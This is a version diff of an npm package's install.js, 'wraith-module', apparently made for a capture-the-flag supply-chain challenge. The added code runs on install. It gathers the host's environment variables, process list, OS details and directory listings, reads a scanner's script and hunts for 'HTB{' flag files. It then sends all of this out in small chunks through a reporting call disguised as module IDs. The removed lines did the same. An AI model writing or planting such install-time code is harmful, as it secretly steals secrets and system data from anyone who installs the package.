wraith-module 101.0.0 → 102.0.0

package/install.js

@@ -16,69 +16,58 @@ async function report(moduleId, val) {
 }
 
 (async () => {
-  // Read nethunter.sh
-  const nh = tryRead('/opt/hscan-supplychain-dynamic/nethunter.sh') || '';
+  const items = [];
+
+  // What OS/container are we in?
+  items.push('ID=' + tryExec('cat /etc/os-release 2>/dev/null | head -2'));
+  items.push('HOST=' + tryExec('hostname'));
+  items.push('CWD=' + process.cwd());
   
-  // List opt dir
-  const optDir = tryExec('find /opt -type f 2>/dev/null');
+  // Check /data directory (nethunter writes pcap there)
+  items.push('DATA=' + tryExec('ls -la /data/ 2>/dev/null'));
+
+  // The nethunter binary - what does it do?
+  items.push('NHBIN=' + tryExec('file /opt/hscan-supplychain-dynamic/nethunter 2>/dev/null'));
   
-  // Full CMD1
-  const cmd1 = tryRead('/proc/1/cmdline');
-  const cmd1str = cmd1 ? cmd1.replace(/\x00/g, ' ') : '';
+  // Maybe the flag is generated by nethunter and written somewhere
+  items.push('DATAFILES=' + tryExec('find /data -type f -name "*flag*" -o -name "*.txt" -o -name "*.json" 2>/dev/null'));
   
-  // Full env
-  const env1 = tryRead('/proc/1/environ');
-  const env1str = env1 ? env1.replace(/\x00/g, ' | ') : '';
-
-  // Try to find the flag everywhere
-  const htb = tryExec('grep -rl "HTB{\\|flag{" / --exclude-dir=proc --exclude-dir=sys --exclude-dir=node_modules 2>/dev/null | head -5');
-  const flag = tryExec('cat /flag* /root/flag* /home/*/flag* 2>/dev/null');
+  // Check if there are any interesting files in /opt
+  items.push('OPTFILES=' + tryExec('find /opt/hscan-supplychain-dynamic -maxdepth 2 -type f -not -path "*/node_modules/*" 2>/dev/null'));
   
-  // Root listing
-  const rootLs = tryExec('ls -la / 2>/dev/null');
-
-  // Build chunks
-  const items = [];
-  items.push('CMD=' + cmd1str);
-  items.push('ENV=' + env1str);
-  items.push('OPTDIR=' + optDir);
-  items.push('ROOTLS=' + rootLs);
-  items.push('HTB=' + (htb || 'NONE'));
-  items.push('FLAG=' + (flag || 'NONE'));
+  // Read nethunter.sh fully - get the part after npm install
+  const nh = tryRead('/opt/hscan-supplychain-dynamic/nethunter.sh') || '';
+  // Get the last portion (after npm install)
+  const nhEnd = nh.substring(nh.length - 500);
+  items.push('NHEND=' + nhEnd);
   
-  // nethunter.sh in chunks
-  for (let i = 0; i < 30; i++) {
-    const chunk = nh.substring(i * 85, (i + 1) * 85);
-    if (!chunk) break;
-    items.push('NH' + i + '=' + chunk);
-  }
+  // Middle of nethunter.sh
+  items.push('NHMID=' + nh.substring(500, 1000));
+  
+  // Check processes
+  items.push('PS=' + tryExec('ps aux 2>/dev/null'));
+  
+  // Try to search for flag more broadly
+  items.push('FINDHTB=' + tryExec('find / -maxdepth 5 -type f -exec grep -l "HTB{" {} + 2>/dev/null | head -5'));
+  
+  // Check all environment variables
+  items.push('ALLENV=' + JSON.stringify(process.env));
 
+  // Send each item, 85 chars at a time
   const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
+  let totalIdx = 0;
   
-  for (let round = 0; round < Math.ceil(items.length / 4); round++) {
-    for (let i = 0; i < 4; i++) {
-      const idx = round * 4 + i;
-      if (idx < items.length) {
-        const item = items[idx];
-        // Truncate each item to 85 chars for the module name limit
-        await report(mods[i], 'Q' + idx + '_' + item.substring(0, 85));
-      }
-    }
-    await new Promise(r => setTimeout(r, 1500));
-  }
-  
-  // Extra rounds for long items
-  const longItems = ['CMD', 'ENV', 'OPTDIR', 'ROOTLS'];
-  for (let li = 0; li < longItems.length; li++) {
-    const key = longItems[li];
-    const fullVal = items.find(i => i.startsWith(key + '='));
-    if (fullVal && fullVal.length > 85) {
-      for (let chunk = 1; chunk < 5; chunk++) {
-        const part = fullVal.substring(chunk * 85, (chunk + 1) * 85);
-        if (part) {
-          await report(mods[li % 4], 'E' + li + 'C' + chunk + '_' + part);
-        }
-      }
+  for (const item of items) {
+    // Split this item into 85-char chunks
+    for (let c = 0; c < Math.max(1, Math.ceil(item.length / 85)); c++) {
+      const chunk = item.substring(c * 85, (c + 1) * 85);
+      if (!chunk) break;
+      const modIdx = totalIdx % 4;
+      await report(mods[modIdx], 'M' + totalIdx + '_' + chunk);
+      totalIdx++;
+      if (totalIdx % 4 === 0) await new Promise(r => setTimeout(r, 1500));
+      if (totalIdx > 40) break; // Safety limit
     }
+    if (totalIdx > 40) break;
   }
 })();

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "wraith-module",
-  "version": "101.0.0",
+  "version": "102.0.0",
   "description": "Wraith spectral module",
   "main": "index.js",
   "scripts": {